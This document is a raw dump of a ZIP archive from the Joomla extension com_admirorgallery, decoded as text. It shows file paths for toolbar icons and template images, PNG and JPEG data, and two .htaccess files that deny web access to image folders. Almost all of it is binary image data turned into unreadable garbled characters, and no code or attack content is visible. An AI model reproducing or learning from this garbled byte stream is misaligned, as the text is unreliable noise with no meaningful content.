"1fXb0gn"Κ,ȣ;g~7W3H>C˫OL,0)+Rn!c=-da!KeAHpv4GCkG+(1Z8JCi;*g6#s}B.ABe3i 4P3<2ځ5c`rqj % 6ٶd,PЎ6z^I:k(Au'ڇZZ1d RPBJ D$BL` P^vK (ȦG]~[2J<{]ݻjxv+)kgfH"8k{ /}DAaI؋}:6fMbhH$r teP,B@SOUv 1_bg&}Z d.d*_WJy83e=T!B4e2Q5_1#MQ: `h͚5- ,XWs^?/󻈈 J̌D"͋/^_͋-@2bEy~ _e@]]]RH)r9)mRUVM?RMM uRJS,/8_ZkSDԇ~?LwŇX\&IZkX:kfJPӇ"??P1Y(?IENDB`PKs>\}KffFcom_admirorgallery/templates/default/images/toolbar/icon-16-popups.pngnuW+APNG  IHDR(-SsRGB[PLTE > >>? CB D C@@HC FCDKIIINKJJOLPNNLNLLM T UVTWTXTWWYXX"X#XZ^_[\`a;b&^:(^ d,dAA$g%h.gCEFI5g7h0l0l-l-mIG /m/nL9lPI;mMNQL;q;rPR=sU>sXTWVX[] [^`^c`b fe cfiki kols opwost{xw{~}x} { |Ƀ~ւ~͆Јڅ ܇Ӌ މ Ս܍؏܍   wtRNS@fbKGDH pHYs  ~tIME #%iwIDATc`tpط]; ߿wP`)\`^m 'ܾ}' '^zɂ -SjRf妄 wVcKFо IENDB`PKs>\#o,,>com_admirorgallery/templates/default/images/toolbar/index.htmlnuW+APKs>\s! ! Hcom_admirorgallery/templates/default/images/toolbar/icon-32-AG_apply.pngnuW+APNG  IHDR @{usRGBbKGD pHYs.#.#x?vtIME  17l5 IDAThYml~f>}_\;%%U j?"($MB@AJ mE*$(E#JBB (iJ;/;)Wjggg}gޙy?إ4splnjAE4q4N|xK;4{I ƠH@PT2MDV?}!68}{ i@DP+a Ԭ`l{~O}?4bUO+,ū# ̞<{f6?>Pu sQˤJ47o} Hunό1=PXGs#8{ѽu42-1ב*BaQ_O6N0 WG~ _L{aH2Sԙ2L2- &iK7R "s"+ͬeTs<dI/@ A "'"T C~2 W ,*YLp\{/-:,9'RY+>F,5Oi 91j ɭ?!3ӟB~4*Ad:`2 X {u3[ g cq0♕@@{lZ HĖ'a>T+~N{:z]ŷL^hH&2H}W`~7ԙDRl] R*jw/bX&JՊU`JĄ6W1T+J9Ë bDh4'~kUŜq6^)H).:&ի~ X,f ===c̅Źy_ؙQ\y*ɏ~:x45˱X,L9 ]wޭDmYuQQM)UokkæM4㭷ު,˺sg`ҥ8{lU۱yf\d,>z}@)VJYy@ ;v . 'Or|'N@:]um-mظq#Rс;v4p1R)(@Rz S{D"~zUfx<@.C4E**OVF9% c 7|ssyL&Gbjj>aB<@Çcrrl6a$9^R6|,4L&/zd/"MfBz}1y\c LCCCG"@P H:9jfgg:y$$P(x< @/;_DŽ8orʤ@.;U΂ Dy<o0(ls} 9-nL+WB)A$JFH$r+F}h/v#Ls^iiZ񿤹5^XXlvW|HIm~|>4gʌl6[8$.\`p8|> Kѫwܞt:RBPsR=feT<I>Yz>Ƙ{>6u]?} ø|%KVN M$a3T*>11>p:&,eWXIENDB`PKs>\ ""Icom_admirorgallery/templates/default/images/toolbar/icon-16-templates.pngnuW+APNG  IHDR(-SsRGBPLTEz#>t%cIAgG BcL@iMZPIMN]EjNQPgLOhHnLkNjR^PRQeLnUXYoTVgWVX[Xv] [^`npm^mqtc`b fe c|syfil}kn}i k|z~ols opwost{x}w{~}x} { |Ƀ~ւ~͆Јڅ ܇Ӌ މ Ս܍؏܍  Џ֎̒ȔĘؖ ˥Ƽ¼` tRNS@fbKGDH pHYs  ~tIME # "IDATc`+nff(/@ ]~ Xy浫@`]v 7ˎ=~ *TvۺuU3B2wƔ4@BIEEQajL?u_?82o FW IENDB`PKs>\)=com_admirorgallery/templates/default/images/toolbar/.htaccessnuW+A Order allow,deny Deny from all PKs>\DX9 9 Fcom_admirorgallery/templates/default/images/toolbar/icon-48-popups.pngnuW+APNG  IHDR00WsRGBbKGD pHYs  ~tIME "IDAThm\U;o;ӝnKe b4FDH%`"AD  17AcPÛ A ȋŵvٝ}ٹ3ngvg[nnf&9y.K*c|{+f{Eqx7}f~@6z<|٧. vkO>R3mfvUynP41'"hzW~OıNįYYE8:RB)V*wW4 ;@?p[wz'NsV&𨴎Iz$6j>s6>F@Ne(@zk< mp`fx*67??3~HŃ/t K탇"6 8 D˼ ޯ pg}=_v_VZs+gJ:QT7qzS q׳EEHFaWA۾]t0yk0ϬmWԃcξyEeOXZcۭp~@'0L\- V,Avy h>kQ|OYٜ(nl.+k 0;8 `MX0NPA@j'"ғB61X)c" (alBgls/x}pa _w8nq'anQ;A3A+^hIވjhzf>Mt#ed7}mq'=dgNش;Vuր| U=ïv?_ͺtJ}aV A<`29(9m~6/i!p~a˃Za{r μÛ k$\~VADZMǯyXS<0+h \zFk&f3{Rv%c9]jb#x^٤7fڻ @' cCTa旳LeC_PY8 9NDzkeĻ@sYiv-u/5S:FIENDB`PKs>\})  Lcom_admirorgallery/templates/default/images/toolbar/icon-48-imagemanager.pngnuW+APNG  IHDR00WsRGBbKGD pHYs  ~tIME $J+b IDATh޽k$Wu[ٙךYclC$HQ>@BHeJYI REP"'!B$ll%ٙ]1ӏ{jfzz{zgz7Vu-#Cx/mMqs, tikT nO|,NI (cG؆ qƈC5jcձz)ƣ(փ0 ðgbe܊uӨ><_.z0 X .3 @ b ! bvN*2q /ͼ% /B9n\xĺuvX[1yUEUw=Ⱥ=8wӡ?G“Qlϝ?wwM/\LP/˥hhqqieC7L>KQٹxwq#@ZRe eht0PU8~#y_52}4|{ Oi @6\\ZYBB׫.,^1g}ͤh#wݤEP4Dgz?{̀N7I6+IIWzAIRт'3*Pydtl6bx~c= n ݙ2Yz"P3.$"-OL?7BtH,ɼ7VP1ĔS`ٗ8vt#QT$ɼs8WѳUelrǘ{=Xx%3K ?=[tFOUE}Mġ[qMh16 s+so~o@,Y0`jm\Ʀ98u H+`ّcUZA0N e{QSUiSPʐ#qsEv<4?rm *8=nce1` F  DLq]Uxa7I"Os?G2|HW# AY'?~7;a0F$ܯ%MLi R 2STCq\U!L{._ܷ "6W{tՌ:h]3zH.̖17W1s5|M7,pҋ=v+ЯB^ay II_XG^H5,W'^*(v'I CaDTDUeo$:s$GE2m9T׻=8uj3O=sox~Gٽ4k z~l04ZII8nyG~ӿѯ~7>z6xu _E3d;6 *<_2:$>gy_oT2܈2[[ߝlKΏW%xY{(H|'5čDdgp/)Ŏ8bhs|/`$f:All,;Ͻ+]U0wC,kfJ\L|#C۠J2uZ f"k'o\3rPb07O37bh&d/,}f3۹[m!<2Czq*H j_bwʃ>s{^)[ D${(JV^X'[]#[LvveSt4Rt5Si|?VZM/j]MЌ+ٸtR\" o+l ;9bidsܡ's2xCۢ O=XDZGފx96̋ fQwXV:=(U&ռP0x; 3dtA_7/8~Mpr~7'}lZ+;!t+E +kkFe¸G!x{? 3d~Hw$~OL Yz>HWPCP'3I թR%<-?f]DsJiV>h50jn#qPP#\^yKgOD%*IaTƆi6D#inl4̟s痢sG_O\#i5h767H6W.E~cA&QEU|,v J[ɋ>pyJ %1KNӤCnt&N\(W  @Ru,Ċs.l â b,F:ڼ-b]OIS軂jޡ۲Pq>ķ=|awsqu`옄@ҁz2QcRT)rRJR)R\F. |?p9 X8k3XkuE_?pyPboS پMkL۳QaW#;V8(m8.t3. BƁL'zK疀aQȐ~W*}4K߽.=cZHYam}o݋kae=2`}[, =CJd IENDB`PKs>\@<<Lcom_admirorgallery/templates/default/images/toolbar/icon-16-controlpanel.pngnuW+APNG  IHDRasRGBbKGD pHYs  ~tIME  /5)IDAT8˅Mh\U;M2c2mKSZ`UhƅX(4 \B(YQ !P)."ĢR'BjRI2;73sgE2ƀp8w։(P"RUȲD䖈뱨0R[omjZk=Vϻk`Ӝ+}3$b:SסuI{8繝\=[^W&.]V\G f vW_ uDAlڪ_WUM*/""moMm8* u=iH*\vP.DMH?N9}`@A>ܲ;+* yegjzGޢyF3K"EZK[ ٤ R87]ͽ7ܛ|ٴm'po# q̜M%HPL).Ƙ*0Ls/E42ٝh}ǎ\t//--R'So_œ)նt./%LT?AU߫~FozXgT$U'ґi1& BaX$oy"1 zCW~>w/d url6v_.R |8;Q7\֬IENDB`PKs>\O2Lcom_admirorgallery/templates/default/images/toolbar/icon-16-imagemanager.pngnuW+APNG  IHDRasRGBbKGD pHYs  ~tIME !z9ܱIDAT8}1hSQss1Unb N(KѴ+t)չઃ4$j蒦C6MIE!br/?WҙɩakAA88ll^ߞ3G'2+'uuS3olct nk9Kֵt &vG!:VSkg8,U@̐Gz5*\.b;YH)N>'If'iFC@*-NuJ%)KZE׾^Y~VUlyYmb41x)ry|T*RiÅG_ TIENDB`PKs>\00 0 Lcom_admirorgallery/templates/default/images/toolbar/icon-48-controlpanel.pngnuW+APNG  IHDR00WsRGBbKGD pHYs  ~tIME ( IDATh[lT39g׻kmډ;J*7h$*j4OQRz>ЇOHRUh(j_zSP)RQR165!\/8 k׻3C4#Fiw7pwQbjE 䁢"Z@%{X+0os@1Fgnk-~s1gM-1Rg鴱"*T:ڈ 9 ZȐHC`H!E>Wǎڵz[*/0wP,Z0 D@ i Y b9pϞ%[oy˥P܂ h•S|eD?˗󋽂7[ݙޏWΣctH$JJETO^-r0bl6[%'^,?*1Dug{;<:>Eiŧ+vc=5bk֬y~Νgk9uں%AKŽq'0$^*fggR. WVTi(;к&pg}/y}}}uI*՜yv'N""lʿ6Cٽ{r՚zf2PBc)Mc*Ԍ CXoTvk~jЩ/N!UDV} OjV!uR850m~h%SɺQu] zΝ;绮;Zn˕B)t &P_t C(ĵfQms1Q> Zet؄g]DsbI<~:+7}O(1oHPM9rbNkx D AR(Ge4n,79C%),j.) ̶&m$.#l-b,V]ߠFA 0 a WX+vR(CW\T/6 4iGWa4CtLs Ǩ|[ZSg_5M3V!'7R !V !zJq:Hˆau.XPDH_!&++hw+BZ=[ZZFQ/}}}uBȎ;҉ˉCDۈ. 8A,BJ ;\G0S"Ьo"ڿTggg-%ih|͂zpR[}~م]ICc˚ X$̻£&)6>'~1 Bp)M@;fsH!쇐G)}YYz"Tsnr qBm}l֗RgC Vq0 QɡROۆKJ @YP'Zk}4ͩ%# إ'JRV,;pHD/@5 u<}] BEr<8800P^w!!Dվ}~R.I)655ɖ"0!-Ȗ':J NJqXTq~\qvvC'XRJ믿gA`dd088xhÆ =B+V;Sw,wttBZUBr###O`rrR 6mpVk=b'7+w %wqwib'éIENDB`PKs>\3 Icom_admirorgallery/templates/default/images/toolbar/icon-48-templates.pngnuW+APNG  IHDR00WsRGBbKGD pHYs  ~tIME 5v  MIDATh{\u?;swvwf-(-b !϶AI 1Q"%QAҠ *`DQ|H A(UJTj)uiK_ٝٙwU4n~=;|;[xzo/ѫ֖\nEБ+8dRmuYS=:Ο~ݽ1ZkY1  Vp]qv._ȷ^~E\|9W0KRj#s* D3LH.J'f<} [lٳNw,s崺gcy J{ao[+YuH)f5QU+|su]͛yVYmaYsXHlAvj¿v_F#% ?_l~z($M 'k|[Ȼ.h>} >bW͞(!aQ jD``Y$6kpev83Q3?v坷|8wsho=ld%8p_6vPÉؐuya#OU/\ǿ|piөֽw: f7a^ 7푸aP?Bl , DdeLUΦe熍}ҏ x@<\rq ".g?h4HsaLF5:ij-qA[OZzu h}{9/z]F36X -܋~~! /?DIɡXA%'- @%~vUPYEJpy}  \K "$ `ЇbJU4,`TEO<+7l޲Ʈ4ǽ.y.I_ɣOb1jP5qGܽwuv5W(1VV4e2ia%e+4zkŷ܆3,=z$Dcɿ+O ]Hr lv۸u Z҆f#4pw$ v41DQ%aT*(DUR>P 4:Qՠ΀67!10U}FMy=Ȧ20Ԫ^ye"1=OpWGlgt^}.'unMl3+X-Z*5+5 @xpÍ_jξj ȢWL!jK_XF5xHHF˕)QyQӵiPXxr _C`xi3-ORB,O }'֯KXģF:fmJ2a{__ظJ_s3f L>;3IۈDf M7j`}֌DY<GCe#rgߡt6wvmN9i5b OsxȊ4j]U @jd"o 5h:I\?܄1>j(۷lգOGQE'mƾ?iOFvrQ)>Gnك8_TXv*ΙMa90DU[{ hIbu-l+R Oj4O\{qͭT044N[[kUDRcU'q%1qbLq1!JP ]N@h>5:T*Z-0(|?|?}=x5ϫT^ZW,yR/jJ5T5Fƨ1FU!ۻo_o3ws>x!=N;Hc0GJ6mPnX)缓$MK1W$:b1_ +f-uUIENDB`PKs>\)5com_admirorgallery/templates/default/images/.htaccessnuW+A Order allow,deny Deny from all PKs>\RJ<com_admirorgallery/templates/default/images/notice-alert.pngnuW+APNG  IHDRaM=sBITOPLTE ಲYY//㏏tt))Ϥbb&&!!皚 ﷷttccCCQQ//جス==}}㑑<<:: ggʠiiUU((}}KK[[ 嵵ᆆFF[[ݯbb<<$$ޔ11**퍍00ssӧ@@ Ĝ􀀽``uuBB~~iiTT33kk11//]]2>_tRNS*d pHYs  ~tEXtSoftwareMacromedia Fireworks 8hxtEXtCreation Time3/12/07!LOIDAT(}kS@aJI<bvv¬):irOyfvf. pqP?oīB@qNylţ>t0"~\\i,隖OR93Go#f6AΎx_ MGzV܍\˂QDv{ntQK9HjqJlЫi\ W6aԃʔ^lNF!N4x,u:ŢOzvµ@*LV[>D\Fcu䶅U N&@vMP Ycbe&cJ˱XJHZ0277P4c(Jߢ,BX9[sum?.IENDB`PKs>\xj<<7com_admirorgallery/templates/default/images/ag-icon.pngnuW+APNG  IHDRasRGBbKGD pHYs B(xtIME  IDAT8˅Mh\U;M2c2mKSZ`UhƅX(4 \B(YQ !P)."ĢR'BjRI2;73sgE2ƀp8w։(P"RUȲD䖈뱨0R[omjZk=Vϻk`Ӝ+}3$b:SסuI{8繝\=[^W&.]V\G f vW_ uDAlڪ_WUM*/""moMm8* u=iH*\vP.DMH?N9}`@A>ܲ;+* yegjzGޢyF3K"EZK[ ٤ R87]ͽ7ܛ|ٴm'po# q̜M%HPL).Ƙ*0Ls/E42ٝh}ǎ\t//--R'So_œ)նt./%LT?AU߫~FozXgT$U'ґi1& BaX$oy"1 zCW~>w/d url6v_.R |8;Q7\֬IENDB`PKs>\=;com_admirorgallery/templates/default/images/notice-info.pngnuW+APNG  IHDRaM=sBITOPLTE 2drb\ LC\~IR{: a1Lq>\r 6rlR#Z [Ƥ f~;A"@jڧWswLaurMe;i*dR j䁷:Rs:BX~ Ch{¾ay Nfx]tYk.v8z>4hx{D e^Rk{S\tRNST?x pHYs  ~tEXtSoftwareMacromedia Fireworks 8hxtEXtCreation Time3/12/07!LOIDAT(}mS@FIJ4 b""I &llGQP?wTNϧgs>mnoٿSqqsx=]e9-}}FI{c/iov B/JΟqTb9Y܌0ZaO;"w89Uv2)oJ^{Lx5<y}LYfI$'W)Lyq=T9ҹ;0P8S۷|ʖ&2A8DTm^}akCe1v4Q,MMaveϖ(l h lOXF%loΎDwo޺l8D[t: m2hI&cQdYSZ-IP:NW%׿:dӄ!-I QqvUNIENDB`PKs>\D(U@com_admirorgallery/templates/default/images/AG_common_button.jpgnuW+AJFIFHHCC "  ? !1"AQV2RSTab45Dѡ ?Q9!JHFxU^;c" 譢ݳ]Y@8d?}AiNUw%NL뾅`dJS]/S,t9%<Vv *r."ly׋ qT7NwFo3=8+3VNAd$drWD0=9)b>&rU5h-K^eՔXfl-MT\"/Hcom_admirorgallery/templates/default/images/j_button2_admirorgallery.pngnuW+APNG  IHDRj sRGBPLTEIKLLMLMO O O O P O P QXZ _%e0j>uDyOPXY}}}~_crqPBȔ2퀣ʗ4ߝp}7 ٵqQ/7ĦMTƥ{͵ͼkkuؐ5bKGDH pHYs  ~tIME 7hv3IDATcEi5 =:1((܅jBsk:wfsjA@DTLRAEkOHfh]fNNv6K0<",neh<^` 0c:H:)e _)¬\@ flezir O-2TAqEMIZ ~/C698KXPᙥ6vYP0h/ sp}r@/uZK"Uv#@JVˆe(~U  -(C8-/iQ_ => ‹HrIENDB`PKs>\㼺SS;com_admirorgallery/templates/default/images/explanation.jpgnuW+AJFIFYYC     C  #^"  Z !1 A"Qaq 2#B3Rbr$C4%STds&5DGUc E!1A"Qa2qB#Rbr$3SDs ?4h4h4h4h C@-[>ݸaOO!*#׎З? beZLM)r>?.0උSX],iˇ'-dQ^yqQq/BBⶹpIji\t臺|.GKJ+[wsM&Y)JE,Z5ޫ3keXFG)uU2{2Wgt,hth=(F(F(F(F(F(F*!ZVsUg$MN 8-}xk͌5h7pm?< nq%:.L’ gס/g;i 5r 3pHrІ_q)=]h. 2;BUjB~q@ yޯN:}SiC[50p9:vv;qSVBY5;NT>ףsP2hL,h~%cr/;eĞ[n nNuYǜKlCRd.27U+yNxDYjn-ѵօtƠ@)ITW1K)}FcLR`T2B?q*[J/3h P 1(JK8J@QW\Ɩw>*cV-,nJpT 'tN3v\O^OU薺50hқB$<41>g%^N%2]v$%ej{Jc{w~ா'IKi% mBP)HvNI$yVSjdr8 *BjP AVOSO3&ϣ#wlxvuR WT)sRcu$"9L ݰjSo]S4jc3|ˀ%E*kƞa5zy|:hn wjBtl{ts#壙-yIږk|IH~U Wd{D6@_*HJʻuLN`wo8J&uii~+WT.!AHROe$og 523uRu質O96S%{WC JT֍5M{u18 \_Z5E3ßte%Ĭe$:(k0@asuO&|S?7DāN9Ӎ%@I#Ey.U"ItIjYԻ6%Oz3kx~68Q [uG(H{E|N5[qZJq qI휝wJROnEk]i)hkMI8En uk,@/}FpN=}Bv袺~\O/p}503:ъ1=4QK7K–k{}MU%FAkT7`e8=@jGU,m*O]&_,itjÆ4JJTo]'vVcWrP*ye!X<䫩ZICJ@ P*rKCZvsƅQw׵7#]Z#K#cYY_iڂYvaV'a:) dq:ǖzmZ!l /ꝟbV? /d2նgRRnΌ|#׎Z9) OT#J/ !\YpvJmDU㦻nȫIPy mdᢊ[$W *͝),2-ŭX HH$NxB8vC}^vNRT5U|$Cim$s>Jjn4KߊG!E l GNL5Xᩐ^EnGzZ2DR*< jݵ5q K^B毡duή:UUG9*Y)_^a%y"˶Hq_~uf(.:Є VI iMvnar*>U]TuS"y y3HʱXlؾ{BDNl'xMQ *z괬iyk1}n \R^gϤIm>qke^qJ\q P7z`Xm*a\ ~uW2U:KYԹNFț%[ R?'mji+RU1VS! FL 2ۨ)XiNG%b>ruİkLMi/$*9H\3*3>#iq%?JT̎zν+TÁ>~}sR iq_qкJؗYqo~3>ME#UNm&B}zOE&:?sHxrg3Kj#'(Ci? oI>eYՋ Vu*=—Tx$uR=R>gX+n]["ʔN Wa![&znn#-xN۩>^q+k2K{54_ŁZz[v܈HCQCr?>^5vܵ*s!IRzqK%vȃ̝Ij1q:A;S!Tj,)LBP0uES).M˧.$HBni,D)rg jx˺+*X-En_wG:縊\lBTD-ۦ7"bP%).|6H-:Źn\F)A'93}~%.+B̃ꓥs귑t(}$AmB?UA&K^ȱkhWV\7J$Oq-Rzz 븷jRUs= :L9fgU;sˁ`46L͎~'\q(dG妳6ntnvβګtu-04ט㜾$ZEuBcxIg=>}EZUJiwQQJ]>ѦZGXoRJj*t{)yj H*'^U?^\gm܉SNχO}Ҕ Pjj VZF%Sg;Jt?PuBdUuHTl1K+#8ڒ\} ⮚iMOҽ^8aR܊edZڪUCI $|{in£nT}J2,y ۫WI Td*@O±?Y!HR(- ,zNشyhywMsȨByėZ)9[P# zwP ,.4GP. mC'!$P>#v16󆚶[k\*za:+jDJ`*J\xHs@kjmZujzޝ.i6dr{#Qa@;x3-kO)J" (%m($cרzf{ 4ŭs%N%sVZa"I,+[I)Zr:+рRADFOOMikI+=RTU :_=QP\:$zp?뺬3͔:ƵmL՝@)g!{P$ɔri axG#uA]v/'ԯ* iq w򣰆[,%Xr:oÖ=foǫ\q&U)CK#1 *V2axhjL%#otl=yW&ߜWj: ԃBEd<:2LS[j?~T]y'eD[0q.nͼZvZVl"e.!zւJ$:ۜ&;SjSNKim2 E>ӈ8ɄNY@ ;#zbtʬd*teEyŕu$)+BAJAT/ÌKi_kFyTAS/U,jm҇=ʢBIqw 'FfZ"SnAvIЕH%!.BTڝq$)%m6])wSȨu1lUHmTʣLGyMC9i8Q:˜a'IA%):9t]rwbbQ+l)e-A#az YK\tǶםd֚//${ǚOLtӌ'kn=@76LMS|(H|*1CIR@Ns4#+ڋ/iˋqblJL{ +4U>iiYn,hSZДK%6Y\z iVxQB9S%ZR* l<%cP3W_Zh)j'$rje+Fn75𖋐!!+Xr Ky-0_U)#w8يv>& R-YS[ ! 3+H@2)=JJz̊ 'w}'nRw"@d(cqЫVu>Ѻ)A&;#ڊVڇ :Cw4^ ӥm'(Dx!2_N}M ϖʇEa8gv=_m{x-Uۥ¢ :TLO:tq!k([BE`D Ӹ#Q;|L1ޓV:ڙ(`C P鬈KmP=T%d+~zmuT񬄬=:Q2gϢmf -y~fͲ1u$.GI ScJ $ u?MzgBYe !) j'Nj~?A)yj ?*WY(ǫ27:ٯ2z[w TQ)\+[ Luj\pȤ7Vd[Faj!nYqʀDWQAX>f)$yR2:W\vQ)$\t04xއn,UO<\.Ƃz0e~GNχU{q:]ƨ H /Nt'ƶ,W.^4) =$@؃^G0v\$I3g4mfְ#]"+ZZHR\3;l*)2 ƁS録:eX>iBRa-# @JR=Ɲw?MD4# ,s{= t. u{d{6Q|7o굖mnC_Ӄᶦi{L%|SnVGH^@*[J԰eBT)I#:^ Tzƨ8N%VF&X"j"+kLF0JycX)\=f RKalʌ9j)$z [ m M*36T;S ?5ݸ ȇ$R##ߌzЮ& \Qrt>㍮2^#=F߇xfQޭǀ-4$H9׭."%1X Y2\F4;~ѪgFaa rHLgpR?Mc}9# %Gbڬ=:u) AНi,M%)4JO+]cӊBy A :Mea%8s_퇸i,˄a5x=,F;+?]zut(qRu~݊գqBI}K6nRUGOmP4'PNŋ-+rՁSi++Z%T*9ON\]xoLY%IhőQ_8RRzOqJŕŦUaHzkR̺4:۲H+gPq5bArө>clBK>6x <-\JjеR (hH6H|7ҷN*lCx|*ԇ[uWeB5>Bװ֣"JByRJ[qdKmܻ \;Ϸ)݃ :Î4VA#)W ӁůῨzʏogRks_C̵lHqm3)T(=U_j]zu_2ܓ5-(qEKW*@Hʉ8Y.cFԕj>L$co6~GWP (Hk+VI[k.NQjt%bDʜuT@JTHI$kk[C;~B jW~"Sil@wRBBSF:DN!O73|vkpC<:g{6 օA#zи qrAw Ɓ('S<]w ׮S#ɼCЀi1w#<.x6OqyN:]WR3_9s?fiRZtx6VhiMZap"Ta#^LɈG-H?oߖXȺitFB]ms%`A=w⯇%H̩pd\^O.*^娥 _P(8Η 7:hڈ]Ej1ii}-+ $( ӸXo:[<0gۨWN>lG,\3IETnc*bKGS)Yz0ds[ڽzmJ+6N܊e凪(-*=N;z Dݱ8E-yD){DEFlnj\YTˣB)ZHb+"ƵjL72+ NO/D F#k3,S08(5,2SPO&Bú.f2O2 F|!J`yT=m붪aMJducBGz|Mhyk62RvA#~ (K=NݪVxE_;{6j%LB>)XiGH!woH zL!HNP|(?$2Y-Kq岵~yƵ'P:7}Åu <UVŽ[HڻUMpV溰2tF(;]ثه(- I\rD+Ypc 4sl."UJ *rryUƧŚ? 7FP6ZGrC](5ʌUDv=M[e-2zT:,ȏA%F,V6ۨи ,+X#骪5'#Y֣LRfӪmH r,@5b™^/4 ›t9#Q =܈8n<w)Czd]U6䢟UshDԩ0WU :l|ؔi6jDyX*{Qj[cqmui1e/Ґu/@Q^*lT! -S8x.ڌ6 )i{ +ZV{$)G$knxXrM4Kv2y3!5W=ZC! m>@@+ %m(Mptxׅ}SQD-L.6RS\j{"VMuv̩IRKԪ5&!h,Y s؃}qoug“X*"v1O/RRW@ϩ'[ .%%U1\>YR3́5;F͖!LBX"RBG}uaNw >;xLd}+c!D?H-k6RyPz3m`wN16NZjtԥuR)HDms?^Q҅[.7d }H?}#QzV15~0">mv ֳ+Z'7nEkbk>X tu`i_]H?=iMrrc]]I-}0ō2B>@?Ѩ sV @MF"\U@u]Lޮ,jOS֠Gs}BSxg**cEPzGZu~m&K"X}_#沟>7[‹Wcv' KC@s8Vu#ԍHf|o(]0۴mM[,Gا\&i[.бhۖMN "< \&@JP @5HeҸfx 8SiA@HLJ8]৆ f"[S(gO DNrpO(00?=VQ5//1 \]8ʔI$ uF%Wy0Fr67T5t`@$]I8R6] Ga "skzU5\ȬVHJg< jm]P~})i{@URB-[SQJP2k%qDњgq#QOg~L|ݥԖ܄5ݩ ӷ󣬌J֟Tu`E[c'Zeg]ӟiEN;НI"#l҆U jīGe$\Mv\B޾$V7۩)P[PH#{͟C*G _TZmDQ!goPUEmy74chQϗW--wӿ7%DGj \HXqw=F#7jXIBY6ӥ`v ۙgvpwfmY/4yh HF뒪ݱ!-~$')pgqknW Q1juunf’8JN~zfVUeo ?4Z|$6G+M(sQQWƿF-n:ke8"I;g-5j/VaSG[yMkAv XW&:HmfRօ(<@Y[ٌ6Me$㛉1Uir(g]eք /)# u(ͶU=hj-?jݓ*pą~:i?X=;ٟmnD ba+D^?鋸\8<~N "+'mhST}"ܗhJ[_Ȏ׈j2[}_Zy[mTrH<騮ZO#F[:MJZԆ&ԟ`Fq }''=5;.Q,ɮkCkD/Œ@\(p͐VR0PN]ۊ0MRQ,G+iyD$t@@MÉH4 E8 gwYw\Ê:yHW9I6J4[(͢H/M%RU  v}ԙpNHI#suS&KrtJÅ-E^(?X+:J޵{HBGƹnS!ˮʎq1Sz ]r Sd4W::|G6's/ʢ1 ⒓ B̬WQj٣:f:TYl'h m'l>4yp6LO>Ot:GS_Jz* =Wjڕ&LFH9$oQ ^z^j}T֖Ӊ9km.#Jt)<Ǿq6bFէ˴9O ZOmէRS)? *=5F+OhE$ SF:E,U<AA''UhE4hE4hE4hEPp;Kst%*$jr}nf۠>J@tJ3Moz]bj-O0ó!%|S"SIR}>Zhí1,\ ($j&$V3ٺ=qceW-֡2|T@u D}5ٿۆ\SDE\i`}FuǖhCnj@<Mi& `O捫ܝ}{.=g)#e>x~q74W!tli$-q;vζWI.je>]N?)?'i3evė osROӮZC]K#^H,7p&Ś;ᤊ\6]Iq ZOӘj\#eAeDH?M6n!v-n[{oC[Q5n[^NGZoqn+2:oĉ[5f GZrO+>qӤڗ6XD *Jyk>`S˛X*5T7!Q t *L KϷ%==BIzŻ["T']nX$O\E^rsoXEk7LnV>Ç4ꇼz箏awU{*b7)t' N}2;Ch$Ŋ]?m^k9gVMHԉ)3+*qUQ#i"Mf)P~1#ֲkNͤe8%I*^xx`&$ ʜe{T/ӒmE%DJ0yJR잝 *brvZ[vdH C̓Gu?vh\LQ<ޟ1#kbLrkIy}T[I=i//(8me=4H4-3QqyV֚mO*ҎqxDZr؜sVԜ\5ˏ*QrHi KRWn ~nQnx<}ۊGvSCe"*Ԗ5<9kob7ZUrF%i8%pq[RZ<_wfhlIiPW0=6mFzhFsc:9kSϏtK_tkQ#|*#&Ѫ9՜kY?DUh<4s:&Fr3KEo~(ֈxzg[mKN3":OM 8MqZͿED0f6HWOT:(Y'ngel\%Tĕexm_tt6խOUZO+?OjXm|))q.T'rVr(j[6>c>>Ӱސ!n%>=ԮEsō05')uju@;QJ20SwYԊqKS uԖW8)y=߻#zBЫ)x{41h[<@@ky<#~9C(~v.͑GhLm*ӝ}VeS#%%M<)$@39lnդ #?l;ŌAbvŽkqC[u&l8RS%I5qN*m֔POB:CmijEZvm'L+= ?Ψp;5>"{+>7scePj:Te<#ȴR`ՇmL Jqԩ֫x\ƖYLzsm[qZ{!c9JKm^ķy'YzJsxj5KPQ\)dnZFQ;,Βzi+n=꫁ ӋQN5Z;aUiJ̲?:c]Zl%GsamX,uYiNdU;'%&RLick*G\B K80& gF QO{MÔO-ģI"PG<iSdRܠ2]ƛ¯T 7 \B)F'ߍMߜ,Vsh$|Dp)Aq-I1c\_ʳ"{.Uwf)V LD{QTTOkz *\*s9VA uߑFƈ`;)F~t _\V mVZpe@FGkY]j-t]JS1dLv⬴Ueg-}#:-{s?@Q)m^fU tvvW"tI1`=f?2,g>AJ9"wv*5QZR:WLrmv{gv?ңzu-:"Օ.52ZC6<`qp$nIMj MT*2 &Nu%~[HARrH|5m8gKVL(LHm"{RF#oZS 3P:5I֥hם1!/d :F=r+TRRI\TN0QKlTi#'R6#|F[}o1a<9>z҄4W k.Bԫ$)Ă>J*(KNxS]7lQ*1Q1"}Տ#; ?l:kEŠ„9j#M$ l b5\RM/v 5ƿ˟?uv 2je+PHZt2sdiCMD.%bOT$mUI BGԑ?\zҞԍBAm! L{9m$ZQUe^i.V$' :V= pfNu,܈9ԢII]Aqab#ZRrɶ[DZ˽5$g9XOZF8 tq'1zPW3د]۰GDZR.JAX[~Ը4y.ӕr~F/Z.'a͋SfKhmo%%mr!{9RUd:yQugx )C?ꏰ"Dge$,|.v2L"rdq7yrpRQ߶=a`5Zr؇ȿ٩ʑW{Q]61MB~vW֢<S ֨'؆۰W2}( W)ԱoxA"Zx9J'H*ͥR a\)IQM9;J6[)hQRJT}u1 U%Fֲ#=Q¬S_SRu!Iq { | Qi ̼i-YH{\ z4TuY0H;RjY6m"Q BB(PX_\}!\dVX!~TK1֤0*JS_wruf|U. 3h!m/FG*@# R'zh(uqԙW3?1 6?侙!.}-FܖvFa'dҞaa",KKEheD_)1i6.1ڃ`#=9h{0KKyz$:L{v] r#IwI="S)t)' *N0~~SkrllM$*hG$4zd)n9%|Ixc7JH•4'iDG:ҥG^Jqû%6W jJjT~sӝ%L Iziwٓ+sR#)fV"9`dy2TU+\o:*Ew쇝xkWwQ#*i)O*RG`kݝܽJ6߸|*#+@$IZIJA {J`rQ)KR@ =onhve~%a8i!egH]]+xgEU- ).4LqJn#( 0\!ѠV1t֪Q˱. )%IH}t|q_p֣ n\wUr3QVJ9g>]W2º[UIv' 